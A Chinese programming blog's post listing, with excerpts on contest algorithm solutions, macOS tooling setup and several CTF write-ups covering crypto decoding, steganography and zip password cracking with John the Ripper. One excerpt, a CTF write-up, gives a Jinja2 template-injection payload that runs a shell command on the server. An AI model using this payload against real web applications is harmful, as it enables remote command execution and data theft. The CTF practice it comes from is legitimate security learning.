自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(23)
  • 收藏
  • 关注

原创 【蓝桥杯】 砝码称重 Python 实现与优化(练习系统满分)【第十二届省赛 A 组】

之前实现了一个版本,但是总是过不了所有测试点,这几天突然想起来就又优化了一下。当然 dotcpp 上还是 91 分,但是官网练习系统都能过了(但是他给了你五秒啊喂……)不过其实这个题本身就是比较中规中矩的 dp 问题啦,当然这个题不是放到 Python 组的,估计也有这方面的考虑吧~import sys# 第零个优化,快速输入输出,加不加都行。input = sys.stdin.readlineprint = sys.stdout.writen = int(input())w = [0, *

2022-04-06 14:48:04 1127

原创 Bugku Crypto 7+1+0

4nXna/V7t2LpdLI44mn0fQ==base64解码后发现奇数位不对,偶数数位符合bugku的flag形式。 相减ascii码后发现差128。遍历后还原。(atob('4nXna/V7t2LpdLI44mn0fQ==') .split('')) .map((i,index)=>{ if(index%2==0){ return String.fromCharCode(i.charCodeAt()-128) }else{ return i }}).join('')

2021-11-09 09:46:15 448

原创 Simple_SSTI_2 wp

payload{{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat flag').read()}}

2021-11-08 20:54:14 192

原创 魔法密文 Writeup| DASCTF Oct X 吉林工师

魔法秘文这题思路还好吧……但是真的属于把我做吐了的那种……具体见后文首先给了一个zip文件,解压出来一张魔法少女.png,通过binwalk分析出来隐藏了压缩包。直接用binwalk -e分离发现压缩包大小有问题。于是使用 hex 编辑器直接删掉了前面的图片部分,得到一个压缩包。压缩包中有两个文件,flag.txt是加密的,魔法萝莉简体未加密。 提示内容为:密码为32位中文。解压出来魔法萝莉简体,在hex视图下,字体文件末尾发现一串 urlcode 编码的字符。urldecode后得到如

2021-10-28 18:50:42 465

原创 【BUUCTF】MISC:另一个世界

首先查看图片本身是否有隐藏内容,使用stegsolve查找后并无。查看hex,末尾有一串二进制:01101011011011110110010101101011011010100011001101110011不妨先尝试转换下进制。以8个为单位尝试:let hex = "01101011011011110110010101101011011010100011001101110011"let nums = []for(let i = 0; i<=hex.length; i++){

2021-10-14 00:17:47 1797

原创 macos下安装john the ripper并配置zip2john

研究了下一些Misc的东西,需要用到john进行爆破密码。首先使用homebrew安装john,可以安装它的增强版john-jumbo:brew install john-jumbo安装后可以使用john命令验证。但是根据文章使用zip2john命令时,发现并没有找到命令。googling(https://superuser.com/questions/1652553/john-the-ripper-zip2john-command-not-found-mac/1670026)后,发现是因为ho

2021-10-13 20:50:45 4301

原创 ffmpeg无损 mts转mp4

ffmpeg -i input.m2ts -c:v copy -c:a aac -strict experimental -b:a 128k output.mp4refer:https://stackoverflow.com/questions/24720063/how-can-i-convert-mts-file-avchd-to-mp4-by-ffmpeg-without-re-encoding-h264-v

2021-09-25 17:36:42 1205

原创 macos下python安装tkinter

找了半天折腾各种奇淫巧技,最后其实很简单brew install python-tkvia https://stackoverflow.com/questions/61218237/how-can-i-install-tkinter-for-python-on-mac

2021-09-11 11:42:28 5820 2

原创 m1 macos编译并安装arm64 ffmpeg

参见此项目:https://github.com/ssut/ffmpeg-on-apple-silicon前提是已经安装homebrew,网上有很多教程,不再赘述。git clone https://github.com/ssut/ffmpeg-on-apple-silicon.gitcd ffmpeg-on-apple-silicon然后运行./build.bash等待编译。cd workdir/compile/ffmpegsudo make installffmpeg 输出

2021-09-11 00:45:29 2718 3

原创 ubuntu使用gem安装nokogiri报错ERROR: Failed to build gem native extension.

Ubuntu 20.04.2 LTSERROR: Error installing nokogiri: ERROR: Failed to build gem native extension. current directory: /var/lib/gems/2.7.0/gems/nokogiri-1.12.3/ext/nokogiri/usr/bin/ruby2.7 -I /usr/lib/ruby/2.7.0 -r ./siteconf20210820-2026-1695

2021-08-20 14:49:14 586 2

原创 练习7-2 求最大值及其下标 (20分) | PTA | C语言实现

本题要求编写程序,找出给定的n个数中的最大值及其对应的最小下标(下标从0开始)。输入格式:输入在第一行中给出一个正整数n(1<n≤10)。第二行输入n个整数,用空格分开。输出格式:在一行中输出最大值及最大值的最小下标,中间用一个空格分开。输入样例:62 8 10 1 9 10输出样例:10 2代码与解析:#include <stdio.h>int main() { int max=0,n,num[10];//本来想着自然而然用俩循环解决,但是感觉不太优

2020-08-17 00:39:33 3997

原创 习题6-8 统计一行文本的单词个数 (15分) | PAT | C语言实现

本题目要求编写程序统计一行字符中单词的个数。所谓“单词”是指连续不含空格的字符串,各单词之间用空格分隔,空格数可以是多个。输入格式:输入给出一行字符。输出格式:在一行中输出单词个数。输入样例:Let's go to room 209.输出样例:5代码与解析:#include <stdio.h>//总体而言的算法是检测单词间隔的空格判断数量,然后排除特殊情况int main() { int nums = 0, blank = 0, t = 0,alpha=0

2020-08-16 23:03:58 2190 1

原创 【解析】习题4-9 打印菱形图案 | C语言实现 | PTA

本题要求编写程序,打印一个高度为n的、由“*”组成的正菱形图案。输入格式:输入在一行中给出一个正的奇数n。输出格式:输出由n行星号“*”组成的菱形,如样例所示。每个星号后跟一个空格。输入样例:7输出样例: * * * * * * * * * * * * * * * * * * * * * * * * * 评价:卧槽……这玩意真的写的我脑汁都快没了,看了其他大神写的感觉自己写的还是不那么美,但总归是写出来了,以下是代码:#in

2020-08-13 23:31:10 3843 5

原创 习题4-4 特殊a串数列求和 (20分) | C语言实现 | PTA

习题4-4 特殊a串数列求和 (20分)给定两个均不超过9的正整数a和n,要求编写程序求a+aa+aaa++⋯+aa⋯a(n个a)之和。输入格式:输入在一行中给出不超过9的正整数a和n。输出格式:在一行中按照“s = 对应的和”的格式输出。输入样例:2 3输出样例:s = 246代码:#include <stdio.h>#include <math.h>int main(){ int a,n,count=0; if(scanf("%d

2020-08-09 19:57:32 770

原创 习题4-1 求奇数和 (15分)| C语言实现 | PTA 基础编程题目集

习题4-1 求奇数和 (15分)本题要求计算给定的一系列正整数中奇数的和。输入格式:输入在一行中给出一系列正整数,其间以空格分隔。当读到零或负整数时,表示输入结束,该数字不要处理。输出格式:在一行中输出正整数序列中奇数的和。输入样例:8 7 4 3 70 5 6 101 -1输出样例:116代码:#include <stdio.h>int main() { int num,count=0; while(num>0) { if(s

2020-08-09 16:39:42 986

原创 练习4-11 统计素数并求和 (20分)| C语言实现 | PTA 基础编程题目集

本题要求统计给定整数M和N区间内素数的个数并对它们求和。输入格式:输入在一行中给出两个正整数M和N(1≤M≤N≤500)。输出格式:在一行中顺序输出M和N区间内素数的个数以及它们的和,数字间以空格分隔。输入样例:10 31输出样例:7 143考虑到这里属于比较基础的部分,采取一个比较中规中矩的判断方法,时间复杂度较大,且没有单独封装函数。#include <stdio.h>int main() { //初始化变量,对于需要计次的sum与count变量这里现赋予初始值

2020-08-05 16:36:46 2874 4

原创 7-25 念数字 | C语言实现 | PTA 基础编程题目集

7-25 念数字 (15分)输入一个整数,输出每个数字对应的拼音。当整数为负数时,先输出fu字。十个数字对应的拼音如下:0: ling1: yi2: er3: san4: si5: wu6: liu7: qi8: ba9: jiu输入格式:输入在一行中给出一个整数,如:1234。提示:整数包括负数、零和正数。输出格式:在一行中输出这个整数对应的拼音,每个数字的拼音之间用空格分开,行末没有最后的空格。如 yi er san si。输入样例:-600输出样例:fu l

2020-07-10 22:32:31 992

原创 Python入门实例——N位数的水仙花数

前几天发了个c语言下的水仙花数,这里用python实现了一下。。果然python大法好。。原生幂运算。。神奇的for、 range=废话不多说直接丢代码N = int(input("show me the number: "))for i in range(10*(N-1),10**(N+1)): sum = 0 for p in str(i): sum+=(int(p))**N if sum == i: print(i)...

2020-07-07 18:03:55 2171

原创 C语言入门实例——水仙花数 |遍历|循环

关于仙花数水仙花数,指一个N位正整数(N≥3),它的每个位上的数字的N次幂之和等于它本身。例如三位数字(N=3): 153=13+53+33 。这里我们使用C语言生成一定位数的水仙花数(由于int有上限)实现思路遍历所给位数能包含的所有整数,判断他们是不是水仙花数,如果是则输出。如果我们想遍历一定位数内的所有数字我们首先要找到他位数范围内的最小值和最大值。很显然地,对于3位数100,最小为100,最大则为999。而最大值可以用100✖10-1获得,也可以直接判断某个数<100✖10(因为

2020-07-06 01:23:06 1435

原创 解决vscode下调试c/c++程序一闪而过(Windows)

起因开始学习c语言了,一开始想的就是直接装个VS就完了,但是一搜都是说vs臃肿啥啥不好,不如用vscode来整,多轻量~于是就网上搜了许多教程开整了,期间也遇到了一些常见的坑,这些集中写个文,希望可以帮助到大家。配置文件也是来自其他文章的,我也进行了部分修改,后面会标出。解决方法我们知道使用vscode对c/c++进行调试的本质是这样的——1.GCC编译代码,2.vscode运行编译出的程序。因此调试运行程序一闪而过的本质就是命令行程序运行完结果直接自动关闭了,这和c/c++程序本身也有关系。所以对

2020-06-25 22:36:50 43302 13

原创 关于vscode更新总提示找不到code.exe解决后发现他老往我C盘装这件事

可能可能是这个原因VScode的更新频率还真是tn的高呀……但是不知道啥时候开始更新的时候他突然报错了似乎和我重装了一遍系统有关?大概意思是某某目录下的code.exe不存在(形如:C:\Users\Administrator\AppData\Local\Programs\Microsoft VS Code)于是之前去网上搜索解决方法,基本上有两种:1.重装2.复制一份code.exe到提示的目录。作为懒人我肯定可耻的选择了第二种。于是问题,看 似 被解决了,更新也能更新了,启动也能启动

2020-05-24 16:15:59 10979 17

原创 Python入门实例——伪·人工智能对话为例学习Str中的maketrans与translate方法

起源一开始对Python感兴趣除了自己长期想真正学习一门编程语言,也有一些契机,其中便有一个颇为搞笑的实例,他的原理大概是把输入内容中的“吗”去掉,把问号变成感叹号,以形成一种看似在对话的效果。大概感觉如下:#你在吗?>我在的!#你听得懂中文吗?>我听得懂中文!当时好奇之下自己也稍微实现了大概的效果。但是其中还是不乏有些疑惑,因为这样的效果大部分的实现方法是while True: print(input().replace("吗?","!").replace("你","我")

2020-05-24 08:29:59 366

原创 Python入门实例 —— 循环猜拳游戏。

import randomfrom time import sleepdef inputquan(): global value value = input("你出啥啊?") if value == "剪刀": caiquan(0) elif value == "石头": caiquan(1) elif value =...

2020-04-30 18:57:11 1899

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除